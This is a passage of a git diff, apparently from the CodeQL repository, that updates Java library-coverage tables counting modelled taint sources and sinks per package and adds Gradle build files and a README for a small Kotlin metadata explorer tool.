-package,sink,source,summary,sink:bean-validation,sink:create-file,sink:groovy,sink:header-splitting,sink:information-leak,sink:intent-start,sink:jdbc-url,sink:jexl,sink:jndi-injection,sink:ldap,sink:logging,sink:mvel,sink:ognl-injection,sink:open-url,sink:pending-intent-sent,sink:set-hostname-verifier,sink:sql,sink:url-open-stream,sink:url-redirect,sink:write-file,sink:xpath,sink:xslt,sink:xss,source:android-widget,source:contentprovider,source:remote,summary:taint,summary:value
-android.app,16,,103,,,,,,7,,,,,,,,,9,,,,,,,,,,,,18,85
-android.content,24,27,108,,,,,,16,,,,,,,,,,,8,,,,,,,,27,,31,77
-android.database,59,,30,,,,,,,,,,,,,,,,,59,,,,,,,,,,30,
-android.net,,,60,,,,,,,,,,,,,,,,,,,,,,,,,,,45,15
-android.os,,,122,,,,,,,,,,,,,,,,,,,,,,,,,,,41,81
-android.util,6,16,,,,,,,,,,,,6,,,,,,,,,,,,,,,16,,
-android.webkit,3,2,,,,,,,,,,,,,,,,,,,,,,,,3,,,2,,
-android.widget,,1,1,,,,,,,,,,,,,,,,,,,,,,,,1,,,1,
-androidx.slice,2,5,88,,,,,,,,,,,,,,,2,,,,,,,,,,5,,27,61
-cn.hutool.core.codec,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-com.esotericsoftware.kryo.io,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-com.esotericsoftware.kryo5.io,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-com.fasterxml.jackson.core,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-com.fasterxml.jackson.databind,,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,6,
-com.google.common.base,,,85,,,,,,,,,,,,,,,,,,,,,,,,,,,62,23
-com.google.common.cache,,,17,,,,,,,,,,,,,,,,,,,,,,,,,,,,17
-com.google.common.collect,,,553,,,,,,,,,,,,,,,,,,,,,,,,,,,2,551
-com.google.common.flogger,29,,,,,,,,,,,,,29,,,,,,,,,,,,,,,,,
-com.google.common.io,6,,73,,,,,,,,,,,,,,,,,,6,,,,,,,,,72,1
-com.opensymphony.xwork2.ognl,3,,,,,,,,,,,,,,,3,,,,,,,,,,,,,,,
-com.rabbitmq.client,,21,7,,,,,,,,,,,,,,,,,,,,,,,,,,21,7,
-com.unboundid.ldap.sdk,17,,,,,,,,,,,,17,,,,,,,,,,,,,,,,,,
-com.zaxxer.hikari,2,,,,,,,,,2,,,,,,,,,,,,,,,,,,,,,
-flexjson,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,1
-groovy.lang,26,,,,,26,,,,,,,,,,,,,,,,,,,,,,,,,
-groovy.util,5,,,,,5,,,,,,,,,,,,,,,,,,,,,,,,,
-jakarta.faces.context,2,7,,,,,,,,,,,,,,,,,,,,,,,,2,,,7,,
-jakarta.json,,,123,,,,,,,,,,,,,,,,,,,,,,,,,,,100,23
-jakarta.ws.rs.client,1,,,,,,,,,,,,,,,,1,,,,,,,,,,,,,,
-jakarta.ws.rs.container,,9,,,,,,,,,,,,,,,,,,,,,,,,,,,9,,
-jakarta.ws.rs.core,2,,149,,,,,,,,,,,,,,,,,,,2,,,,,,,,94,55
-java.beans,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-java.io,37,,35,,15,,,,,,,,,,,,,,,,,,22,,,,,,,35,
-java.lang,8,,58,,,,,,,,,,,8,,,,,,,,,,,,,,,,46,12
-java.net,10,3,7,,,,,,,,,,,,,,10,,,,,,,,,,,,3,7,
-java.nio,15,,6,,13,,,,,,,,,,,,,,,,,,2,,,,,,,6,
-java.sql,11,,,,,,,,,4,,,,,,,,,,7,,,,,,,,,,,
-java.util,34,,438,,,,,,,,,,,34,,,,,,,,,,,,,,,,24,414
-javax.faces.context,2,7,,,,,,,,,,,,,,,,,,,,,,,,2,,,7,,
-javax.jms,,9,57,,,,,,,,,,,,,,,,,,,,,,,,,,9,57,
-javax.json,,,123,,,,,,,,,,,,,,,,,,,,,,,,,,,100,23
-javax.management.remote,2,,,,,,,,,,,2,,,,,,,,,,,,,,,,,,,
-javax.naming,7,,,,,,,,,,,6,1,,,,,,,,,,,,,,,,,,
-javax.net.ssl,2,,,,,,,,,,,,,,,,,,2,,,,,,,,,,,,
-javax.script,1,,,,,,,,,,,,,,1,,,,,,,,,,,,,,,,
-javax.servlet,4,21,2,,,,3,1,,,,,,,,,,,,,,,,,,,,,21,2,
-javax.validation,1,1,,1,,,,,,,,,,,,,,,,,,,,,,,,,1,,
-javax.ws.rs.client,1,,,,,,,,,,,,,,,,1,,,,,,,,,,,,,,
-javax.ws.rs.container,,9,,,,,,,,,,,,,,,,,,,,,,,,,,,9,,
-javax.ws.rs.core,3,,149,,,,1,,,,,,,,,,,,,,,2,,,,,,,,94,55
-javax.xml.transform,1,,6,,,,,,,,,,,,,,,,,,,,,,1,,,,,6,
-javax.xml.xpath,3,,,,,,,,,,,,,,,,,,,,,,,3,,,,,,,
-jodd.json,,,10,,,,,,,,,,,,,,,,,,,,,,,,,,,,10
-net.sf.saxon.s9api,5,,,,,,,,,,,,,,,,,,,,,,,,5,,,,,,
-ognl,6,,,,,,,,,,,,,,,6,,,,,,,,,,,,,,,
-org.apache.commons.codec,,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,6,
-org.apache.commons.collections,,,800,,,,,,,,,,,,,,,,,,,,,,,,,,,17,783
-org.apache.commons.collections4,,,800,,,,,,,,,,,,,,,,,,,,,,,,,,,17,783
-org.apache.commons.io,93,2,565,,78,,,,,,,,,,,,15,,,,,,,,,,,,2,551,14
-org.apache.commons.jexl2,15,,,,,,,,,,15,,,,,,,,,,,,,,,,,,,,
-org.apache.commons.jexl3,15,,,,,,,,,,15,,,,,,,,,,,,,,,,,,,,
-org.apache.commons.lang3,,,424,,,,,,,,,,,,,,,,,,,,,,,,,,,293,131
-org.apache.commons.logging,6,,,,,,,,,,,,,6,,,,,,,,,,,,,,,,,
-org.apache.commons.ognl,6,,,,,,,,,,,,,,,6,,,,,,,,,,,,,,,
-org.apache.commons.text,,,272,,,,,,,,,,,,,,,,,,,,,,,,,,,220,52
-org.apache.directory.ldap.client.api,1,,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,
-org.apache.hc.core5.function,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-org.apache.hc.core5.http,1,2,39,,,,,,,,,,,,,,,,,,,,,,,1,,,2,39,
-org.apache.hc.core5.net,,,2,,,,,,,,,,,,,,,,,,,,,,,,,,,2,
-org.apache.hc.core5.util,,,24,,,,,,,,,,,,,,,,,,,,,,,,,,,18,6
-org.apache.http,27,3,70,,,,,,,,,,,,,,25,,,,,,,,,2,,,3,62,8
-org.apache.ibatis.jdbc,6,,,,,,,,,,,,,,,,,,,6,,,,,,,,,,,
-org.apache.log4j,11,,,,,,,,,,,,,11,,,,,,,,,,,,,,,,,
-org.apache.logging.log4j,359,,8,,,,,,,,,,,359,,,,,,,,,,,,,,,,4,4
-org.apache.shiro.codec,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-org.apache.shiro.jndi,1,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,
-org.codehaus.groovy.control,1,,,,,1,,,,,,,,,,,,,,,,,,,,,,,,,
-org.dom4j,20,,,,,,,,,,,,,,,,,,,,,,,20,,,,,,,
-org.hibernate,7,,,,,,,,,,,,,,,,,,,7,,,,,,,,,,,
-org.jboss.logging,324,,,,,,,,,,,,,324,,,,,,,,,,,,,,,,,
-org.jdbi.v3.core,6,,,,,,,,,6,,,,,,,,,,,,,,,,,,,,,
-org.jooq,1,,,,,,,,,,,,,,,,,,,1,,,,,,,,,,,
-org.json,,,236,,,,,,,,,,,,,,,,,,,,,,,,,,,198,38
-org.mvel2,16,,,,,,,,,,,,,,16,,,,,,,,,,,,,,,,
-org.scijava.log,13,,,,,,,,,,,,,13,,,,,,,,,,,,,,,,,
-org.slf4j,55,,6,,,,,,,,,,,55,,,,,,,,,,,,,,,,2,4
-org.springframework.beans,,,30,,,,,,,,,,,,,,,,,,,,,,,,,,,,30
-org.springframework.boot.jdbc,1,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,,
-org.springframework.cache,,,13,,,,,,,,,,,,,,,,,,,,,,,,,,,,13
-org.springframework.context,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,3,
-org.springframework.http,14,,70,,,,,,,,,,,,,,14,,,,,,,,,,,,,60,10
-org.springframework.jdbc.core,10,,,,,,,,,,,,,,,,,,,10,,,,,,,,,,,
-org.springframework.jdbc.datasource,4,,,,,,,,,4,,,,,,,,,,,,,,,,,,,,,
-org.springframework.jdbc.object,9,,,,,,,,,,,,,,,,,,,9,,,,,,,,,,,
-org.springframework.jndi,1,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,
-org.springframework.ldap,47,,,,,,,,,,,33,14,,,,,,,,,,,,,,,,,,
-org.springframework.security.web.savedrequest,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,6,,
-org.springframework.ui,,,32,,,,,,,,,,,,,,,,,,,,,,,,,,,,32
-org.springframework.util,,,139,,,,,,,,,,,,,,,,,,,,,,,,,,,87,52
-org.springframework.validation,,,13,,,,,,,,,,,,,,,,,,,,,,,,,,,13,
-org.springframework.web.client,13,3,,,,,,,,,,,,,,,13,,,,,,,,,,,,3,,
-org.springframework.web.context.request,,8,,,,,,,,,,,,,,,,,,,,,,,,,,,8,,
-org.springframework.web.multipart,,12,13,,,,,,,,,,,,,,,,,,,,,,,,,,12,13,
-org.springframework.web.reactive.function.client,2,,,,,,,,,,,,,,,,2,,,,,,,,,,,,,,
-org.springframework.web.util,,,163,,,,,,,,,,,,,,,,,,,,,,,,,,,138,25
-org.xml.sax,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
-org.xmlpull.v1,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,3,,
-play.mvc,,4,,,,,,,,,,,,,,,,,,,,,,,,,,,4,,
-ratpack.core.form,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,3,
-ratpack.core.handling,,6,4,,,,,,,,,,,,,,,,,,,,,,,,,,6,4,
-ratpack.core.http,,10,10,,,,,,,,,,,,,,,,,,,,,,,,,,10,10,
-ratpack.exec,,,48,,,,,,,,,,,,,,,,,,,,,,,,,,,,48
-ratpack.form,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,3,
-ratpack.func,,,35,,,,,,,,,,,,,,,,,,,,,,,,,,,,35
-ratpack.handling,,6,4,,,,,,,,,,,,,,,,,,,,,,,,,,6,4,
-ratpack.http,,10,10,,,,,,,,,,,,,,,,,,,,,,,,,,10,10,
-ratpack.util,,,35,,,,,,,,,,,,,,,,,,,,,,,,,,,,35
+package,sink,source,summary,sink:bean-validation,sink:create-file,sink:groovy,sink:header-splitting,sink:information-leak,sink:intent-start,sink:jdbc-url,sink:jexl,sink:jndi-injection,sink:ldap,sink:logging,sink:mvel,sink:ognl-injection,sink:open-url,sink:pending-intent-sent,sink:regex-use[-1],sink:regex-use[0],sink:regex-use[],sink:regex-use[f-1],sink:regex-use[f1],sink:regex-use[f],sink:set-hostname-verifier,sink:sql,sink:url-open-stream,sink:url-redirect,sink:write-file,sink:xpath,sink:xslt,sink:xss,source:android-widget,source:contentprovider,source:remote,summary:taint,summary:value
+android.app,16,,103,,,,,,7,,,,,,,,,9,,,,,,,,,,,,,,,,,,18,85
+android.content,24,27,108,,,,,,16,,,,,,,,,,,,,,,,,8,,,,,,,,27,,31,77
+android.database,59,,30,,,,,,,,,,,,,,,,,,,,,,,59,,,,,,,,,,30,
+android.net,,,60,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,45,15
+android.os,,,122,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,41,81
+android.util,6,16,,,,,,,,,,,,6,,,,,,,,,,,,,,,,,,,,,16,,
+android.webkit,3,2,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,,,2,,
+android.widget,,1,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,,,1,
+androidx.slice,2,5,88,,,,,,,,,,,,,,,2,,,,,,,,,,,,,,,,5,,27,61
+cn.hutool.core.codec,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+com.esotericsoftware.kryo.io,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+com.esotericsoftware.kryo5.io,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+com.fasterxml.jackson.core,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+com.fasterxml.jackson.databind,,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,6,
+com.google.common.base,4,,85,,,,,,,,,,,,,,,,,3,1,,,,,,,,,,,,,,,62,23
+com.google.common.cache,,,17,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,17
+com.google.common.collect,,,553,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,2,551
+com.google.common.flogger,29,,,,,,,,,,,,,29,,,,,,,,,,,,,,,,,,,,,,,
+com.google.common.io,6,,73,,,,,,,,,,,,,,,,,,,,,,,,6,,,,,,,,,72,1
+com.opensymphony.xwork2.ognl,3,,,,,,,,,,,,,,,3,,,,,,,,,,,,,,,,,,,,,
+com.rabbitmq.client,,21,7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,21,7,
+com.unboundid.ldap.sdk,17,,,,,,,,,,,,17,,,,,,,,,,,,,,,,,,,,,,,,
+com.zaxxer.hikari,2,,,,,,,,,2,,,,,,,,,,,,,,,,,,,,,,,,,,,
+flexjson,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1
+groovy.lang,26,,,,,26,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
+groovy.util,5,,,,,5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
+jakarta.faces.context,2,7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,2,,,7,,
+jakarta.json,,,123,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,100,23
+jakarta.ws.rs.client,1,,,,,,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,
+jakarta.ws.rs.container,,9,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,9,,
+jakarta.ws.rs.core,2,,149,,,,,,,,,,,,,,,,,,,,,,,,,2,,,,,,,,94,55
+java.beans,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+java.io,37,,39,,15,,,,,,,,,,,,,,,,,,,,,,,,22,,,,,,,39,
+java.lang,13,,58,,,,,,,,,,,8,,,,,4,,,1,,,,,,,,,,,,,,46,12
+java.net,10,3,7,,,,,,,,,,,,,,10,,,,,,,,,,,,,,,,,,3,7,
+java.nio,15,,6,,13,,,,,,,,,,,,,,,,,,,,,,,,2,,,,,,,6,
+java.sql,11,,,,,,,,,4,,,,,,,,,,,,,,,,7,,,,,,,,,,,
+java.util,44,,438,,,,,,,,,,,34,,,,,,5,2,,1,2,,,,,,,,,,,,24,414
+javax.faces.context,2,7,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,2,,,7,,
+javax.jms,,9,57,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,9,57,
+javax.json,,,123,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,100,23
+javax.management.remote,2,,,,,,,,,,,2,,,,,,,,,,,,,,,,,,,,,,,,,
+javax.naming,7,,,,,,,,,,,6,1,,,,,,,,,,,,,,,,,,,,,,,,
+javax.net.ssl,2,,,,,,,,,,,,,,,,,,,,,,,,2,,,,,,,,,,,,
+javax.script,1,,,,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,,,
+javax.servlet,4,21,2,,,,3,1,,,,,,,,,,,,,,,,,,,,,,,,,,,21,2,
+javax.validation,1,1,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,,
+javax.ws.rs.client,1,,,,,,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,
+javax.ws.rs.container,,9,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,9,,
+javax.ws.rs.core,3,,149,,,,1,,,,,,,,,,,,,,,,,,,,,2,,,,,,,,94,55
+javax.xml.transform,1,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,,,,,6,
+javax.xml.xpath,3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,,,,,,,
+jodd.json,,,10,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,10
+kotlin.jvm.internal,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1
+net.sf.saxon.s9api,5,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,5,,,,,,
+ognl,6,,,,,,,,,,,,,,,6,,,,,,,,,,,,,,,,,,,,,
+okhttp3,2,,47,,,,,,,,,,,,,,2,,,,,,,,,,,,,,,,,,,22,25
+org.apache.commons.codec,,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,6,
+org.apache.commons.collections,,,800,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,17,783
+org.apache.commons.collections4,,,800,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,17,783
+org.apache.commons.io,93,2,565,,78,,,,,,,,,,,,15,,,,,,,,,,,,,,,,,,2,551,14
+org.apache.commons.jexl2,15,,,,,,,,,,15,,,,,,,,,,,,,,,,,,,,,,,,,,
+org.apache.commons.jexl3,15,,,,,,,,,,15,,,,,,,,,,,,,,,,,,,,,,,,,,
+org.apache.commons.lang3,,,424,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,293,131
+org.apache.commons.logging,6,,,,,,,,,,,,,6,,,,,,,,,,,,,,,,,,,,,,,
+org.apache.commons.ognl,6,,,,,,,,,,,,,,,6,,,,,,,,,,,,,,,,,,,,,
+org.apache.commons.text,,,272,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,220,52
+org.apache.directory.ldap.client.api,1,,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,,,,,
+org.apache.hc.core5.function,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+org.apache.hc.core5.http,1,2,39,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,,,2,39,
+org.apache.hc.core5.net,,,2,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,2,
+org.apache.hc.core5.util,,,24,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,18,6
+org.apache.http,27,3,70,,,,,,,,,,,,,,25,,,,,,,,,,,,,,,2,,,3,62,8
+org.apache.ibatis.jdbc,6,,57,,,,,,,,,,,,,,,,,,,,,,,6,,,,,,,,,,57,
+org.apache.log4j,11,,,,,,,,,,,,,11,,,,,,,,,,,,,,,,,,,,,,,
+org.apache.logging.log4j,359,,8,,,,,,,,,,,359,,,,,,,,,,,,,,,,,,,,,,4,4
+org.apache.shiro.codec,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+org.apache.shiro.jndi,1,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,,,,,,
+org.codehaus.groovy.control,1,,,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
+org.dom4j,20,,,,,,,,,,,,,,,,,,,,,,,,,,,,,20,,,,,,,
+org.hibernate,7,,,,,,,,,,,,,,,,,,,,,,,,,7,,,,,,,,,,,
+org.jboss.logging,324,,,,,,,,,,,,,324,,,,,,,,,,,,,,,,,,,,,,,
+org.jdbi.v3.core,6,,,,,,,,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,
+org.jooq,1,,,,,,,,,,,,,,,,,,,,,,,,,1,,,,,,,,,,,
+org.json,,,236,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,198,38
+org.mvel2,16,,,,,,,,,,,,,,16,,,,,,,,,,,,,,,,,,,,,,
+org.scijava.log,13,,,,,,,,,,,,,13,,,,,,,,,,,,,,,,,,,,,,,
+org.slf4j,55,,6,,,,,,,,,,,55,,,,,,,,,,,,,,,,,,,,,,2,4
+org.springframework.beans,,,30,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,30
+org.springframework.boot.jdbc,1,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,
+org.springframework.cache,,,13,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,13
+org.springframework.context,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,
+org.springframework.http,14,,70,,,,,,,,,,,,,,14,,,,,,,,,,,,,,,,,,,60,10
+org.springframework.jdbc.core,10,,,,,,,,,,,,,,,,,,,,,,,,,10,,,,,,,,,,,
+org.springframework.jdbc.datasource,4,,,,,,,,,4,,,,,,,,,,,,,,,,,,,,,,,,,,,
+org.springframework.jdbc.object,9,,,,,,,,,,,,,,,,,,,,,,,,,9,,,,,,,,,,,
+org.springframework.jndi,1,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,,,,,,
+org.springframework.ldap,47,,,,,,,,,,,33,14,,,,,,,,,,,,,,,,,,,,,,,,
+org.springframework.security.web.savedrequest,,6,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,6,,
+org.springframework.ui,,,32,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,32
+org.springframework.util,,,139,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,87,52
+org.springframework.validation,,,13,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,13,
+org.springframework.web.client,13,3,,,,,,,,,,,,,,,13,,,,,,,,,,,,,,,,,,3,,
+org.springframework.web.context.request,,8,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,8,,
+org.springframework.web.multipart,,12,13,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,12,13,
+org.springframework.web.reactive.function.client,2,,,,,,,,,,,,,,,,2,,,,,,,,,,,,,,,,,,,,
+org.springframework.web.util,,,163,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,138,25
+org.xml.sax,,,1,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,1,
+org.xmlpull.v1,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,,
+play.mvc,,4,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,4,,
+ratpack.core.form,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,
+ratpack.core.handling,,6,4,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,6,4,
+ratpack.core.http,,10,10,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,10,10,
+ratpack.exec,,,48,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,48
+ratpack.form,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,3,
+ratpack.func,,,35,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,35
+ratpack.handling,,6,4,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,6,4,
+ratpack.http,,10,10,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,10,10,
+ratpack.util,,,35,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,35
+retrofit2,1,,,,,,,,,,,,,,,,1,,,,,,,,,,,,,,,,,,,,
diff --git a/java/documentation/library-coverage/coverage.rst b/java/documentation/library-coverage/coverage.rst
index 58786d30291..4569039fd98 100644
--- a/java/documentation/library-coverage/coverage.rst
+++ b/java/documentation/library-coverage/coverage.rst
@@ -13,11 +13,11 @@ Java framework & library support
    `Apache Commons Lang <https://commons.apache.org/proper/commons-lang/>`_,``org.apache.commons.lang3``,,424,,,,,,,,
    `Apache Commons Text <https://commons.apache.org/proper/commons-text/>`_,``org.apache.commons.text``,,272,,,,,,,,
    `Apache HttpComponents <https://hc.apache.org/>`_,"``org.apache.hc.core5.*``, ``org.apache.http``",5,136,28,,,3,,,,25
-   `Google Guava <https://guava.dev/>`_,``com.google.common.*``,,728,35,,6,,,,,
+   `Google Guava <https://guava.dev/>`_,``com.google.common.*``,,728,39,,6,,,,,
    `JSON-java <https://github.com/stleary/JSON-java>`_,``org.json``,,236,,,,,,,,
-   Java Standard Library,``java.*``,3,545,115,28,,,7,,,10
+   Java Standard Library,``java.*``,3,549,130,28,,,7,,,10
    Java extensions,"``javax.*``, ``jakarta.*``",63,609,32,,,4,,1,1,2
    `Spring <https://spring.io/>`_,``org.springframework.*``,29,476,101,,,,19,14,,29
-   Others,"``androidx.slice``, ``cn.hutool.core.codec``, ``com.esotericsoftware.kryo.io``, ``com.esotericsoftware.kryo5.io``, ``com.fasterxml.jackson.core``, ``com.fasterxml.jackson.databind``, ``com.opensymphony.xwork2.ognl``, ``com.rabbitmq.client``, ``com.unboundid.ldap.sdk``, ``com.zaxxer.hikari``, ``flexjson``, ``groovy.lang``, ``groovy.util``, ``jodd.json``, ``net.sf.saxon.s9api``, ``ognl``, ``org.apache.commons.codec``, ``org.apache.commons.jexl2``, ``org.apache.commons.jexl3``, ``org.apache.commons.logging``, ``org.apache.commons.ognl``, ``org.apache.directory.ldap.client.api``, ``org.apache.ibatis.jdbc``, ``org.apache.log4j``, ``org.apache.logging.log4j``, ``org.apache.shiro.codec``, ``org.apache.shiro.jndi``, ``org.codehaus.groovy.control``, ``org.dom4j``, ``org.hibernate``, ``org.jboss.logging``, ``org.jdbi.v3.core``, ``org.jooq``, ``org.mvel2``, ``org.scijava.log``, ``org.slf4j``, ``org.xml.sax``, ``org.xmlpull.v1``, ``play.mvc``, ``ratpack.core.form``, ``ratpack.core.handling``, ``ratpack.core.http``, ``ratpack.exec``, ``ratpack.form``, ``ratpack.func``, ``ratpack.handling``, ``ratpack.http``, ``ratpack.util``",65,290,929,,,,14,18,,
-   Totals,,213,6305,1441,106,6,10,107,33,1,81
+   Others,"``androidx.slice``, ``cn.hutool.core.codec``, ``com.esotericsoftware.kryo.io``, ``com.esotericsoftware.kryo5.io``, ``com.fasterxml.jackson.core``, ``com.fasterxml.jackson.databind``, ``com.opensymphony.xwork2.ognl``, ``com.rabbitmq.client``, ``com.unboundid.ldap.sdk``, ``com.zaxxer.hikari``, ``flexjson``, ``groovy.lang``, ``groovy.util``, ``jodd.json``, ``kotlin.jvm.internal``, ``net.sf.saxon.s9api``, ``ognl``, ``okhttp3``, ``org.apache.commons.codec``, ``org.apache.commons.jexl2``, ``org.apache.commons.jexl3``, ``org.apache.commons.logging``, ``org.apache.commons.ognl``, ``org.apache.directory.ldap.client.api``, ``org.apache.ibatis.jdbc``, ``org.apache.log4j``, ``org.apache.logging.log4j``, ``org.apache.shiro.codec``, ``org.apache.shiro.jndi``, ``org.codehaus.groovy.control``, ``org.dom4j``, ``org.hibernate``, ``org.jboss.logging``, ``org.jdbi.v3.core``, ``org.jooq``, ``org.mvel2``, ``org.scijava.log``, ``org.slf4j``, ``org.xml.sax``, ``org.xmlpull.v1``, ``play.mvc``, ``ratpack.core.form``, ``ratpack.core.handling``, ``ratpack.core.http``, ``ratpack.exec``, ``ratpack.form``, ``ratpack.func``, ``ratpack.handling``, ``ratpack.http``, ``ratpack.util``, ``retrofit2``",65,395,932,,,,14,18,,3
+   Totals,,213,6414,1463,106,6,10,107,33,1,84
 
diff --git a/java/kotlin-explorer/.gitignore b/java/kotlin-explorer/.gitignore
new file mode 100644
index 00000000000..9c076360bbb
--- /dev/null
+++ b/java/kotlin-explorer/.gitignore
@@ -0,0 +1,10 @@
+.classpath
+.gradle
+.idea
+.project
+.settings
+bin/
+build/
+gradle/
+gradlew
+gradlew.bat
diff --git a/java/kotlin-explorer/README b/java/kotlin-explorer/README
new file mode 100644
index 00000000000..0f500d7c25b
--- /dev/null
+++ b/java/kotlin-explorer/README
@@ -0,0 +1,9 @@
+
+This shows what is encoded in the kotlin.Metadata section shown in the
+output of `javap -v SomeKotlinClass`.
+
+It is not currently able to extract the information from .class files
+itself; the values are hard coded in src/main/kotlin/Explorer.kt
+
+Run `gradle run` in this directory to run it.
+
diff --git a/java/kotlin-explorer/build.gradle b/java/kotlin-explorer/build.gradle
new file mode 100644
index 00000000000..b122d811d4f
--- /dev/null
+++ b/java/kotlin-explorer/build.gradle
@@ -0,0 +1,28 @@
+plugins {
+    id 'org.jetbrains.kotlin.jvm' version "${kotlinVersion}"
+    id 'org.jetbrains.dokka' version '1.4.32'
+    id "com.vanniktech.maven.publish" version '0.15.1'
+    id 'application'
+}
+
+group 'com.github.codeql'
+version '0.0.1'
+
+dependencies {
+    implementation "org.jetbrains.kotlin:kotlin-stdlib"
+    implementation "org.jetbrains.kotlinx:kotlinx-metadata-jvm:0.3.0"
+}
+
+repositories {
+    mavenCentral()
+}
+
+tasks.withType(org.jetbrains.kotlin.gradle.tasks.KotlinCompile).configureEach {
+    kotlinOptions {
+        jvmTarget = "1.8"
+    }
+}
+
+application {
+    mainClass = 'com.github.codeql.ExplorerKt'
+}
diff --git a/java/kotlin-explorer/gradle.properties b/java/kotlin-explorer/gradle.properties
new file mode 100644
index 00000000000..0854241bcda
--- /dev/null
+++ b/java/kotlin-explorer/gradle.properties
@@ -0,0 +1,7 @@
+kotlin.code.style=official
+kotlinVersion=1.5.21
+
+GROUP=com.github.codeql
+VERSION_NAME=0.0.1
+POM_DESCRIPTION=CodeQL Kotlin explorer
+
diff --git a/java/kotlin-explorer/settings.gradle b/java/kotlin-explorer/settings.gradle
new file mode 100644
index 00000000000..18f679f7b75
--- /dev/null
+++ b/java/kotlin-explorer/settings.gradle
@@ -0,0 +1,8 @@
+pluginManagement {
+    repositories {
+        mavenCentral()
+        gradlePluginPortal()
+    }
+}
+
+rootProject.name = 'codeql-kotlin-explorer'
